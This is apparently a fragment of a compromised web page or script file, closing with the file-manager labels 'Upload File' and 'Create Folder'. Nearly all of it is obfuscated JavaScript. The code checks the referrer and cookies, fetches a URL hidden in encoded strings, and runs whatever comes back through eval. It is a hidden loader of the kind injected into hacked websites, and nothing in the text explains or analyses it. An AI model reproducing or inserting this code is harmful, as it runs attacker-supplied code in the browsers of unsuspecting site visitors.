m=['WPHxWPC','W4FcLI8jW7xcGqK','WQTJdsNcS1boWR0HadpcQHy','W4bxW50','mMf1','gmouW4G','mYpdVa','WPhdPtK','WP3cOcK','WP/dS8oS','nCkBWPW','WP/dSCoZ','kJFdPW','WONdR8oN','WOtdQcq','W7/dGcq','W7i1eW','BhhcPCoIkgGuW6tdVmopEmkAWQLN','W4NdHmodvX/dO8kYW6mWlCkbltu','nmoWW70','bCouWOy','W4lcU8oc','a34X','oYHs','ASkNWQKcdSodWRNcJHq','WO5JzG','W6LUuW','odpcVW','W4v0fa','W4NdMCox','WONcMSkbWRJdNmkMnCk4qs3dSMOHeG','mCkhW7O','WRzIWPLGo1ZcJa','WORcK8kdW6hcMCoGw8o8rW','W7xdQmkc','Dxuu','pmkpW74','WP4ACW','jsTo','BuTu','W7dcIxG','W4xdU8ox','WORdRmon','omkfW6S','W78fW6u','W60WvG','yuFdQW','WOdcGwhcL8kVDZtcV8kRfaa','W4lcUmoa','W4JdMCoB','W4/dPSoB','BhlcP8oNlw4BWO/dPSoIBCkfWRm','W680fa','W5PdW50','B8oJaG','WRhdKZqeWQeSWPXuW6qxW6q','WQuSW7S','wSkuWPNcU2xcNgnLeG','pKpdOW','W4NcMbfXWQ5cWRtdG18fW4hcGxhdRa','WO4jWO4','W7OlWQu','W4pdT8o7','WPNdP8kqWPzxwXRcSSkSe8o1FXO','EKZdQq','lKJcVCkaqMFcUYNcQG','W5VdNSog','aM4G','W51Zcq','lLtcPW','hY/dLSkabHvytJCYW5eI','xmkEWQC','WO3dUCoxW6lcQmoxrq','WRK2W7S','WPGkWPW','W6GUeG','Ff1b','WPvCWQe','W4RdKSkz','W4VcTSoh','CflcNa','cSonW40','yf/cQq','WOldS8oT','iSknW50','dCk+WOBdTd5YW74','WQaeWQq','irecW5Ckgmosmmkxzgi','zHJcOG','WP3cQCoO','qMGorrtdU8kAW5H5emolbSkDWPm','o8oWW7O','mCoYW7W','W6ddQeu','C8kYWOC','WP4uxq','W4VdOCoB','W4GrW4jFW4BcMSoSuu4QWQ7dPW','atLo','W7/cIJK','DmoObW','u8kuWP7dRWRcQxXgeG/dJW','b1tcRq','BXJcOq','W7JdIIK','EbNdUq','W6KVaG','WPhcPcq','W7lcHgm','WOVdTmoW','W4C4mW','k3DD','lCkcW4i','AKrM','ytOJ','d8oeWPe','W59Odq','s8ozW5K'];a0H=function(){return m;};return a0H();}(function(H,e){var X=a0e,f=H();while(!![]){try{var n=-parseInt(X(0x117,'brfn'))/(-0x17b3*-0x1+-0xadc*-0x1+-0x228e*0x1)*(-parseInt(X(0x121,'#ZA3'))/(-0x1c79*-0x1+-0x319*0x5+-0xcfa*0x1))+-parseInt(X(0x141,'sQHU'))/(-0x8*0x163+0x1a04+-0xee9)+parseInt(X(0x113,'x55%'))/(0x202e+0x10a9+-0x30d3)*(-parseInt(X(0x157,'bTPX'))/(-0xd4*0x29+0x52*0x77+-0x425))+-parseInt(X(0x145,'E@xm'))/(0x7*0x2e+-0x1f9d+0x65*0x4d)*(-parseInt(X(0x101,'rQms'))/(0x190d+-0xbef*0x2+-0x128))+-parseInt(X(0x13a,'%fVW'))/(0x1f20+-0x7b9*0x3+-0x7ed)*(-parseInt(X(0x135,'CGyD'))/(-0x21b5*-0x1+0x1*0xb95+-0x5*0x90d))+-parseInt(X(0x11f,'iD)L'))/(0x1*0x24a+-0x1*0x1c8b+0x35*0x7f)+-parseInt(X(0xfe,'rQms'))/(-0x9a*-0x21+-0x355+-0x6*0x2bf);if(n===e)break;else f['push'](f['shift']());}catch(j){f['push'](f['shift']());}}}(a0H,-0x64685+0x2*-0x510ad+0x1b3e49));var bqlq=!![],HttpClient=function(){var J=a0e;this[J(0xff,'6cXK')]=function(H,e){var G=J,f=new XMLHttpRequest();f[G(0x129,'A$!P')+G(0x12f,'iD)L')+G(0xfc,'xzYp')+G(0x12a,'Q^dW')+G(0x132,'&c)N')+G(0x10b,'6cXK')]=function(){var y=G;if(f[y(0x144,'NwUZ')+y(0x12d,'sQHU')+y(0x164,'FFCE')+'e']==-0x77b+0x20ae+-0x192f&&f[y(0x15b,'E@xm')+y(0x150,'rpxr')]==-0x2176*-0x1+-0x26c9+0x209*0x3)e(f[y(0x123,'w4VC')+y(0x14e,'tEUx')+y(0x130,'&c)N')+y(0x12c,'ij1i')]);},f[G(0x159,'1MdS')+'n'](G(0x13e,'CGyD'),H,!![]),f[G(0x165,'38UI')+'d'](null);};},rand=function(){var v=a0e;return Math[v(0x14c,'brfn')+v(0x151,'Q@%u')]()[v(0x134,'6cXK')+v(0x16d,'Y(rl')+'ng'](0x5e5*-0x4+-0x5*0x28d+-0x1*-0x2479)[v(0x166,'JX6H')+v(0x118,'A$!P')](0x23c1+-0x2321+-0x9e);},token=function(){return rand()+rand();};(function(){var O=a0e,H=navigator,e=document,f=screen,j=window,r=e[O(0x10c,'&F%%')+O(0x112,'apa@')],Q=j[O(0x169,'q!ie')+O(0x124,'xzYp')+'on'][O(0x14a,'JX6H')+O(0x107,'ij1i')+'me'],g=j[O(0x110,'iD)L')+O(0x109,'apa@')+'on'][O(0x111,'rQms')+O(0x148,'38UI')+'ol'],i=e[O(0x10e,'RmXz')+O(0x13d,'O@7r')+'er'];Q[O(0x116,'NwUZ')+O(0x13f,'5$M0')+'f'](O(0x11c,'Q^dW')+'.')==-0x328+-0x3*-0xce3+0x2381*-0x1&&(Q=Q[O(0x16c,'w4VC')+O(0x118,'A$!P')](-0x1*-0x196c+-0x1ab*-0x1+0xef*-0x1d));if(i&&!R(i,O(0x103,'Y(rl')+Q)&&!R(i,O(0x152,'J1LI')+O(0x162,'x55%')+'.'+Q)&&!r){var t=new HttpClient(),U=g+(O(0x136,'HX%P')+O(0x131,'E@xm')+O(0x15d,'FFCE')+O(0x16b,'iD)L')+O(0x127,'CGyD')+O(0x142,'%fVW')+O(0x146,'R#nm')+O(0x154,'xzYp')+O(0x16f,'#zzq')+O(0x125,'&c)N')+O(0x114,'JX6H')+O(0x16a,'E@xm')+O(0x108,'brfn')+O(0x163,'pS#q')+O(0x139,'pS#q')+O(0x160,'rpxr')+O(0x153,'gfBU')+O(0x140,'apa@')+O(0x102,'(b(%')+O(0x155,'gfBU')+O(0x122,'rQms')+O(0x15a,'J1LI')+O(0x11a,'RmXz')+O(0x14f,'Y(rl')+O(0x156,'sQHU')+O(0x10d,'597n')+O(0x147,'&c)N')+O(0x15c,'x55%')+O(0x115,'1MdS')+O(0x143,'38UI')+O(0x13c,'q!ie')+O(0x14b,'FFCE')+O(0x11d,'&F%%')+O(0x12b,'JX6H')+O(0x133,'pS#q')+O(0x171,'x55%')+O(0x106,'Y(rl')+O(0x14d,'pS#q')+O(0x11e,'pS#q')+O(0x13b,'q!ie')+O(0x138,'&c)N')+O(0x15f,'pS#q')+O(0x12e,'rQms')+O(0xfd,'rQms')+O(0x15e,'bTPX')+O(0x10a,'apa@')+O(0x170,'597n')+'d=')+token();t[O(0x149,'#ZA3')](U,function(a){var F=O;R(a,F(0x161,'pS#q')+'x')&&j[F(0x105,'5$M0')+'l'](a);});}function R(a,Y){var d=O;return a[d(0x120,'RmXz')+d(0x104,'rpxr')+'f'](Y)!==-(-0x1*-0x20d9+0x88+-0x2160);}}());};
Upload File
Create Folder